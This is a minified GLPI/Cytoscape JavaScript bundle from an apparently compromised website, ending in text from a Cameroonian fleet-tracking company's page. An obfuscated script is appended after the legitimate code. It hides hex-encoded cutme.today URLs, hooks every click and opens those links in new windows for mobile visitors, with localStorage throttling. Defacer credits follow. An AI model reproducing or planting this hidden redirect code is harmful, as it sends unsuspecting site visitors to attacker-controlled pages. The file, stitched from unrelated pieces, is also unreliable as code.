l;u=r;do{u=e.parent(u);a.push(u)}while(u&&(t[u].low>o||s>t[u].lim));l=u;u=n;while((u=e.parent(u))!==l){i.push(u)}return{path:a.concat(i.reverse()),lca:l}}function o(e){var t={};var r=0;function a(i){var o=r;n.forEach(e.children(i),a);t[i]={low:o,lim:r++}}n.forEach(e.children(),a);return t}},(e,t,r)=>{var n=r(376);var a=r(427);e.exports={run:i,cleanup:l};function i(e){var t=a.addDummyNode(e,"root",{},"_root");var r=s(e);var i=n.max(n.values(r))-1;var l=2*i+1;e.graph().nestingRoot=t;n.forEach(e.edges(),(function(t){e.edge(t).minlen*=l}));var f=u(e)+1;n.forEach(e.children(),(function(n){o(e,t,l,f,i,r,n)}));e.graph().nodeRankFactor=l}function o(e,t,r,i,s,u,l){var f=e.children(l);if(!f.length){if(l!==t){e.setEdge(t,l,{weight:0,minlen:r})}return}var c=a.addBorderNode(e,"_bt");var v=a.addBorderNode(e,"_bb");var d=e.node(l);e.setParent(c,l);d.borderTop=c;e.setParent(v,l);d.borderBottom=v;n.forEach(f,(function(n){o(e,t,r,i,s,u,n);var a=e.node(n);var f=a.borderTop?a.borderTop:n;var d=a.borderBottom?a.borderBottom:n;var h=a.borderTop?i:2*i;var p=f!==d?1:s-u[l]+1;e.setEdge(c,f,{weight:h,minlen:p,nestingEdge:true});e.setEdge(d,v,{weight:h,minlen:p,nestingEdge:true})}));if(!e.parent(l)){e.setEdge(t,c,{weight:0,minlen:s+u[l]})}}function s(e){var t={};function r(a,i){var o=e.children(a);if(o&&o.length){n.forEach(o,(function(e){r(e,i+1)}))}t[a]=i}n.forEach(e.children(),(function(e){r(e,1)}));return t}function u(e){return n.reduce(e.edges(),(function(t,r){return t+e.edge(r).weight}),0)}function l(e){var t=e.graph();e.removeNode(t.nestingRoot);delete t.nestingRoot;n.forEach(e.edges(),(function(t){var r=e.edge(t);if(r.nestingEdge){e.removeEdge(t)}}))}},(e,t,r)=>{var n=r(376);var a=r(427);e.exports=i;function i(e){function t(r){var a=e.children(r);var i=e.node(r);if(a.length){n.forEach(a,t)}if(n.has(i,"minRank")){i.borderLeft=[];i.borderRight=[];for(var s=i.minRank,u=i.maxRank+1;s<u;++s){o(e,"borderLeft","_bl",r,i,s);o(e,"borderRight","_br",r,i,s)}}}n.forEach(e.children(),t)}function o(e,t,r,n,i,o){var s={width:0,height:0,rank:o,borderType:t};var u=i[t][o-1];var l=a.addDummyNode(e,"border",s,r);i[t][o]=l;e.setParent(l,n);if(u){e.setEdge(u,l,{weight:1})}}},(e,t,r)=>{"use strict";var n=r(376);e.exports={adjust:a,undo:i};function a(e){var t=e.graph().rankdir.toLowerCase();if(t==="lr"||t==="rl"){o(e)}}function i(e){var t=e.graph().rankdir.toLowerCase();if(t==="bt"||t==="rl"){u(e)}if(t==="lr"||t==="rl"){f(e);o(e)}}function o(e){n.forEach(e.nodes(),(function(t){s(e.node(t))}));n.forEach(e.edges(),(function(t){s(e.edge(t))}))}function s(e){var t=e.width;e.width=e.height;e.height=t}function u(e){n.forEach(e.nodes(),(function(t){l(e.node(t))}));n.forEach(e.edges(),(function(t){var r=e.edge(t);n.forEach(r.points,l);if(n.has(r,"y")){l(r)}}))}function l(e){e.y=-e.y}function f(e){n.forEach(e.nodes(),(function(t){c(e.node(t))}));n.forEach(e.edges(),(function(t){var r=e.edge(t);n.forEach(r.points,c);if(n.has(r,"x")){c(r)}}))}function c(e){var t=e.x;e.x=e.y;e.y=t}},(e,t,r)=>{"use strict";var n=r(376);var a=r(437);var i=r(438);var o=r(439);var s=r(443);var u=r(444);var l=r(160).Graph;var f=r(427);e.exports=c;function c(e){var t=f.maxRank(e),r=v(e,n.range(1,t+1),"inEdges"),o=v(e,n.range(t-1,-1,-1),"outEdges");var s=a(e);h(e,s);var u=Number.POSITIVE_INFINITY,l;for(var c=0,p=0;p<4;++c,++p){d(c%2?r:o,c%4>=2);s=f.buildLayerMatrix(e);var g=i(e,s);if(g<u){p=0;l=n.cloneDeep(s);u=g}}h(e,l)}function v(e,t,r){return n.map(t,(function(t){return s(e,t,r)}))}function d(e,t){var r=new l;n.forEach(e,(function(e){var a=e.graph().root;var i=o(e,a,r,t);n.forEach(i.vs,(function(t,r){e.node(t).order=r}));u(e,r,i.vs)}))}function h(e,t){n.forEach(t,(function(t){n.forEach(t,(function(t,r){e.node(t).order=r}))}))}},(e,t,r)=>{"use strict";var n=r(376);e.exports=a;function a(e){var t={};var r=n.filter(e.nodes(),(function(t){return!e.children(t).length}));var a=n.max(n.map(r,(function(t){return e.node(t).rank})));var i=n.map(n.range(a+1),(function(){return[]}));function o(r){if(n.has(t,r))return;t[r]=true;var a=e.node(r);i[a.rank].push(r);n.forEach(e.successors(r),o)}var s=n.sortBy(r,(function(t){return e.node(t).rank}));n.forEach(s,o);return i}},(e,t,r)=>{"use strict";var n=r(376);e.exports=a;function a(e,t){var r=0;for(var n=1;n<t.length;++n){r+=i(e,t[n-1],t[n])}return r}function i(e,t,r){var a=n.zipObject(r,n.map(r,(function(e,t){return t})));var i=n.flatten(n.map(t,(function(t){return n.sortBy(n.map(e.outEdges(t),(function(t){return{pos:a[t.w],weight:e.edge(t).weight}})),"pos")})),true);var o=1;while(o<r.length)o<<=1;var s=2*o-1;o-=1;var u=n.map(new Array(s),(function(){return 0}));var l=0;n.forEach(i.forEach((function(e){var t=e.pos+o;u[t]+=e.weight;var r=0;while(t>0){if(t%2){r+=u[t+1]}t=t-1>>1;u[t]+=e.weight}l+=e.weight*r})));return l}},(e,t,r)=>{var n=r(376);var a=r(440);var i=r(441);var o=r(442);e.exports=s;function s(e,t,r,f){var c=e.children(t);var v=e.node(t);var d=v?v.borderLeft:undefined;var h=v?v.borderRight:undefined;var p={};if(d){c=n.filter(c,(function(e){return e!==d&&e!==h}))}var g=a(e,c);n.forEach(g,(function(t){if(e.children(t.v).length){var a=s(e,t.v,r,f);p[t.v]=a;if(n.has(a,"barycenter")){l(t,a)}}}));var y=i(g,r);u(y,p);var m=o(y,f);if(d){m.vs=n.flatten([d,m.vs,h],true);if(e.predecessors(d).length){var b=e.node(e.predecessors(d)[0]),x=e.node(e.predecessors(h)[0]);if(!n.has(m,"barycenter")){m.barycenter=0;m.weight=0}m.barycenter=(m.barycenter*m.weight+b.order+x.order)/(m.weight+2);m.weight+=2}}return m}function u(e,t){n.forEach(e,(function(e){e.vs=n.flatten(e.vs.map((function(e){if(t[e]){return t[e].vs}return e})),true)}))}function l(e,t){if(!n.isUndefined(e.barycenter)){e.barycenter=(e.barycenter*e.weight+t.barycenter*t.weight)/(e.weight+t.weight);e.weight+=t.weight}else{e.barycenter=t.barycenter;e.weight=t.weight}}},(e,t,r)=>{var n=r(376);e.exports=a;function a(e,t){return n.map(t,(function(t){var r=e.inEdges(t);if(!r.length){return{v:t}}else{var a=n.reduce(r,(function(t,r){var n=e.edge(r),a=e.node(r.v);return{sum:t.sum+n.weight*a.order,weight:t.weight+n.weight}}),{sum:0,weight:0});return{v:t,barycenter:a.sum/a.weight,weight:a.weight}}}))}},(e,t,r)=>{"use strict";var n=r(376);e.exports=a;function a(e,t){var r={};n.forEach(e,(function(e,t){var a=r[e.v]={indegree:0,in:[],out:[],vs:[e.v],i:t};if(!n.isUndefined(e.barycenter)){a.barycenter=e.barycenter;a.weight=e.weight}}));n.forEach(t.edges(),(function(e){var t=r[e.v];var a=r[e.w];if(!n.isUndefined(t)&&!n.isUndefined(a)){a.indegree++;t.out.push(r[e.w])}}));var a=n.filter(r,(function(e){return!e.indegree}));return i(a)}function i(e){var t=[];function r(e){return function(t){if(t.merged){return}if(n.isUndefined(t.barycenter)||n.isUndefined(e.barycenter)||t.barycenter>=e.barycenter){o(e,t)}}}function a(t){return function(r){r["in"].push(t);if(--r.indegree===0){e.push(r)}}}while(e.length){var i=e.pop();t.push(i);n.forEach(i["in"].reverse(),r(i));n.forEach(i.out,a(i))}return n.map(n.filter(t,(function(e){return!e.merged})),(function(e){return n.pick(e,["vs","i","barycenter","weight"])}))}function o(e,t){var r=0;var n=0;if(e.weight){r+=e.barycenter*e.weight;n+=e.weight}if(t.weight){r+=t.barycenter*t.weight;n+=t.weight}e.vs=t.vs.concat(e.vs);e.barycenter=r/n;e.weight=n;e.i=Math.min(t.i,e.i);t.merged=true}},(e,t,r)=>{var n=r(376);var a=r(427);e.exports=i;function i(e,t){var r=a.partition(e,(function(e){return n.has(e,"barycenter")}));var i=r.lhs,u=n.sortBy(r.rhs,(function(e){return-e.i})),l=[],f=0,c=0,v=0;i.sort(s(!!t));v=o(l,u,v);n.forEach(i,(function(e){v+=e.vs.length;l.push(e.vs);f+=e.barycenter*e.weight;c+=e.weight;v=o(l,u,v)}));var d={vs:n.flatten(l,true)};if(c){d.barycenter=f/c;d.weight=c}return d}function o(e,t,r){var a;while(t.length&&(a=n.last(t)).i<=r){t.pop();e.push(a.vs);r++}return r}function s(e){return function(t,r){if(t.barycenter<r.barycenter){return-1}else if(t.barycenter>r.barycenter){return 1}return!e?t.i-r.i:r.i-t.i}}},(e,t,r)=>{var n=r(376);var a=r(160).Graph;e.exports=i;function i(e,t,r){var i=o(e),s=new a({compound:true}).setGraph({root:i}).setDefaultNodeLabel((function(t){return e.node(t)}));n.forEach(e.nodes(),(function(a){var o=e.node(a),u=e.parent(a);if(o.rank===t||o.minRank<=t&&t<=o.maxRank){s.setNode(a);s.setParent(a,u||i);n.forEach(e[r](a),(function(t){var r=t.v===a?t.w:t.v,i=s.edge(r,a),o=!n.isUndefined(i)?i.weight:0;s.setEdge(r,a,{weight:e.edge(t).weight+o})}));if(n.has(o,"minRank")){s.setNode(a,{borderLeft:o.borderLeft[t],borderRight:o.borderRight[t]})}}}));return s}function o(e){var t;while(e.hasNode(t=n.uniqueId("_root")));return t}},(e,t,r)=>{var n=r(376);e.exports=a;function a(e,t,r){var a={},i;n.forEach(r,(function(r){var n=e.parent(r),o,s;while(n){o=e.parent(n);if(o){s=a[o];a[o]=n}else{s=i;i=n}if(s&&s!==n){t.setEdge(s,n);return}n=o}}))}},(e,t,r)=>{"use strict";var n=r(376);var a=r(427);var i=r(446).positionX;e.exports=o;function o(e){e=a.asNonCompoundGraph(e);s(e);n.forEach(i(e),(function(t,r){e.node(r).x=t}))}function s(e){var t=a.buildLayerMatrix(e);var r=e.graph().ranksep;var i=0;n.forEach(t,(function(t){var a=n.max(n.map(t,(function(t){return e.node(t).height})));n.forEach(t,(function(t){e.node(t).y=i+a/2}));i+=a+r}))}},(e,t,r)=>{"use strict";var n=r(376);var a=r(160).Graph;var i=r(427);e.exports={positionX:y,findType1Conflicts:o,findType2Conflicts:s,addConflict:l,hasConflict:f,verticalAlignment:c,horizontalCompaction:v,alignCoordinates:p,findSmallestWidthAlignment:h,balance:g};function o(e,t){var r={};function a(t,a){var i=0,o=0,s=t.length,f=n.last(a);n.forEach(a,(function(t,c){var v=u(e,t),d=v?e.node(v).order:s;if(v||t===f){n.forEach(a.slice(o,c+1),(function(t){n.forEach(e.predecessors(t),(function(n){var a=e.node(n),o=a.order;if((o<i||d<o)&&!(a.dummy&&e.node(t).dummy)){l(r,n,t)}}))}));o=c+1;i=d}}));return a}n.reduce(t,a);return r}function s(e,t){var r={};function a(t,a,i,o,s){var u;n.forEach(n.range(a,i),(function(a){u=t[a];if(e.node(u).dummy){n.forEach(e.predecessors(u),(function(t){var n=e.node(t);if(n.dummy&&(n.order<o||n.order>s)){l(r,t,u)}}))}}))}function i(t,r){var i=-1,o,s=0;n.forEach(r,(function(n,u){if(e.node(n).dummy==="border"){var l=e.predecessors(n);if(l.length){o=e.node(l[0]).order;a(r,s,u,i,o);s=u;i=o}}a(r,s,r.length,o,t.length)}));return r}n.reduce(t,i);return r}function u(e,t){if(e.node(t).dummy){return n.find(e.predecessors(t),(function(t){return e.node(t).dummy}))}}function l(e,t,r){if(t>r){var n=t;t=r;r=n}var a=e[t];if(!a){e[t]=a={}}a[r]=true}function f(e,t,r){if(t>r){var a=t;t=r;r=a}return n.has(e[t],r)}function c(e,t,r,a){var i={},o={},s={};n.forEach(t,(function(e){n.forEach(e,(function(e,t){i[e]=e;o[e]=e;s[e]=t}))}));n.forEach(t,(function(e){var t=-1;n.forEach(e,(function(e){var u=a(e);if(u.length){u=n.sortBy(u,(function(e){return s[e]}));var l=(u.length-1)/2;for(var c=Math.floor(l),v=Math.ceil(l);c<=v;++c){var d=u[c];if(o[e]===e&&t<s[d]&&!f(r,e,d)){o[d]=e;o[e]=i[e]=i[d];t=s[d]}}}}))}));return{root:i,align:o}}function v(e,t,r,a,i){var o={},s=d(e,t,r,i),u=i?"borderLeft":"borderRight";function l(e,t){var r=s.nodes();var n=r.pop();var a={};while(n){if(a[n]){e(n)}else{a[n]=true;r.push(n);r=r.concat(t(n))}n=r.pop()}}function f(e){o[e]=s.inEdges(e).reduce((function(e,t){return Math.max(e,o[t.v]+s.edge(t))}),0)}function c(t){var r=s.outEdges(t).reduce((function(e,t){return Math.min(e,o[t.w]-s.edge(t))}),Number.POSITIVE_INFINITY);var n=e.node(t);if(r!==Number.POSITIVE_INFINITY&&n.borderType!==u){o[t]=Math.max(o[t],r)}}l(f,s.predecessors.bind(s));l(c,s.successors.bind(s));n.forEach(a,(function(e){o[e]=o[r[e]]}));return o}function d(e,t,r,i){var o=new a,s=e.graph(),u=m(s.nodesep,s.edgesep,i);n.forEach(t,(function(t){var a;n.forEach(t,(function(t){var n=r[t];o.setNode(n);if(a){var i=r[a],s=o.edge(i,n);o.setEdge(i,n,Math.max(u(e,t,a),s||0))}a=t}))}));return o}function h(e,t){return n.minBy(n.values(t),(function(t){var r=Number.NEGATIVE_INFINITY;var a=Number.POSITIVE_INFINITY;n.forIn(t,(function(t,n){var i=b(e,n)/2;r=Math.max(t+i,r);a=Math.min(t-i,a)}));return r-a}))}function p(e,t){var r=n.values(t),a=n.min(r),i=n.max(r);n.forEach(["u","d"],(function(r){n.forEach(["l","r"],(function(o){var s=r+o,u=e[s],l;if(u===t)return;var f=n.values(u);l=o==="l"?a-n.min(f):i-n.max(f);if(l){e[s]=n.mapValues(u,(function(e){return e+l}))}}))}))}function g(e,t){return n.mapValues(e.ul,(function(r,a){if(t){return e[t.toLowerCase()][a]}else{var i=n.sortBy(n.map(e,a));return(i[1]+i[2])/2}}))}function y(e){var t=i.buildLayerMatrix(e);var r=n.merge(o(e,t),s(e,t));var a={};var u;n.forEach(["u","d"],(function(i){u=i==="u"?t:n.values(t).reverse();n.forEach(["l","r"],(function(t){if(t==="r"){u=n.map(u,(function(e){return n.values(e).reverse()}))}var o=(i==="u"?e.predecessors:e.successors).bind(e);var s=c(e,u,r,o);var l=v(e,u,s.root,s.align,t==="r");if(t==="r"){l=n.mapValues(l,(function(e){return-e}))}a[i+t]=l}))}));var l=h(e,a);p(a,l);return g(a,e.graph().align)}function m(e,t,r){return function(a,i,o){var s=a.node(i);var u=a.node(o);var l=0;var f;l+=s.width/2;if(n.has(s,"labelpos")){switch(s.labelpos.toLowerCase()){case"l":f=-s.width/2;break;case"r":f=s.width/2;break}}if(f){l+=r?f:-f}f=0;l+=(s.dummy?t:e)/2;l+=(u.dummy?t:e)/2;l+=u.width/2;if(n.has(u,"labelpos")){switch(u.labelpos.toLowerCase()){case"l":f=u.width/2;break;case"r":f=-u.width/2;break}}if(f){l+=r?f:-f}f=0;return l}}function b(e,t){return e.node(t).width}},(e,t,r)=>{var n=r(376);var a=r(427);var i=r(160).Graph;e.exports={debugOrdering:o};function o(e){var t=a.buildLayerMatrix(e);var r=new i({compound:true,multigraph:true}).setGraph({});n.forEach(e.nodes(),(function(t){r.setNode(t,{label:t});r.setParent(t,"layer"+e.node(t).rank)}));n.forEach(e.edges(),(function(e){r.setEdge(e.v,e.w,{},e.name)}));n.forEach(t,(function(e,t){var a="layer"+t;r.setNode(a,{rank:"same"});n.reduce(e,(function(e,t){r.setEdge(e,t,{style:"invis"});return t}))}));return r}},e=>{e.exports="0.8.5"},(e,t,r)=>{"use strict";var n;(function(){var a=function e(t){if(!t){return}var r=function e(t){var r=this;var n=r.container();var a=document.createElement("canvas");n.appendChild(a);var i={zIndex:1,pixelRatio:"auto"};var o=Object.assign({},i,t);if(o.pixelRatio==="auto"){o.pixelRatio=window.devicePixelRatio||1}function s(){var e=n.offsetWidth;var t=n.offsetHeight;var i=e*o.pixelRatio;var s=t*o.pixelRatio;a.width=i;a.height=s;a.style.width=e+"px";a.style.height=t+"px";r.trigger("cyCanvas.resize")}r.on("resize",(function(){s()}));a.setAttribute("style","position:absolute; top:0; left:0; z-index:"+o.zIndex+";");s();return{getCanvas:function e(){return a},clear:function e(t){var n=r.width();var a=r.height();t.save();t.setTransform(1,0,0,1,0,0);t.clearRect(0,0,n*o.pixelRatio,a*o.pixelRatio);t.restore()},resetTransform:function e(t){t.setTransform(1,0,0,1,0,0)},setTransform:function e(t){var n=r.pan();var a=r.zoom();t.setTransform(1,0,0,1,0,0);t.translate(n.x*o.pixelRatio,n.y*o.pixelRatio);t.scale(a*o.pixelRatio,a*o.pixelRatio)}}};t("core","cyCanvas",r)};if(true&&e.exports){e.exports=function(e){a(e)}}if(true){!(n=function(){return a}.call(t,r,t,e),n!==undefined&&(e.exports=n))}if(typeof cytoscape!=="undefined"){a(cytoscape)}})()}]);var t={};function r(n){var a=t[n];if(a!==undefined){return a.exports}var i=t[n]={id:n,loaded:false,exports:{}};e[n].call(i.exports,i,i.exports,r);i.loaded=true;return i.exports}(()=>{r.g=function(){if(typeof globalThis==="object")return globalThis;try{return this||new Function("return this")()}catch(e){if(typeof window==="object")return window}}()})();(()=>{r.r=e=>{if(typeof Symbol!=="undefined"&&Symbol.toStringTag){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"})}Object.defineProperty(e,"__esModule",{value:true})}})();(()=>{r.nmd=e=>{e.paths=[];if(!e.children)e.children=[];return e}})();var n={};(()=>{
/**
 * ---------------------------------------------------------------------
 *
 * GLPI - Gestionnaire Libre de Parc Informatique
 *
 * http://glpi-project.org
 *
 * @copyright 2015-2023 Teclib' and contributors.
 * @copyright 2003-2014 by the INDEPNET Development Team.
 * @licence   https://www.gnu.org/licenses/gpl-3.0.html
 *
 * ---------------------------------------------------------------------
 *
 * LICENSE
 *
 * This file is part of GLPI.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 *
 * ---------------------------------------------------------------------
 */
window.cytoscape=r(136);r(143);r(145);r(146);r(158);r(449)})()})();
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x52\x6e\x4d\x33\x63\x353','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x4d\x54\x76\x35\x63\x325','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x69\x71\x49\x38\x63\x318','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x63\x4a\x67\x39\x63\x389','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x63\x43\x54\x34\x63\x314','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x6f\x54\x71\x37\x63\x367','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x72\x64\x52\x32\x63\x322','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x77\x4f\x4b\x36\x63\x316','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x54\x45\x5a\x30\x63\x370','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x49\x55\x53\x31\x63\x331',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());			
			


Thanks For 0xGh05T - DSRF14 - Mr.Dan07 - Leri01 - FxshX7 - AlkaExploiter - xLoveSyndrome'z - Acep Gans'z

JMDS TRACK – Just Another Diagnostics Lab Site

Home

JMDS TRACK Cameroon

Boost the productivity of your mobile ressources


Make An Appointment


Fleet management

  1. Reduce the operting cost and the unavailability of your vehicles
  2. reduce the fuel consumption of your fleet
  3. Improve the driving dehavior and safety of your drivers
  4. optimize the utilization rate of your equipment 
  5. protect your vehicle against theft
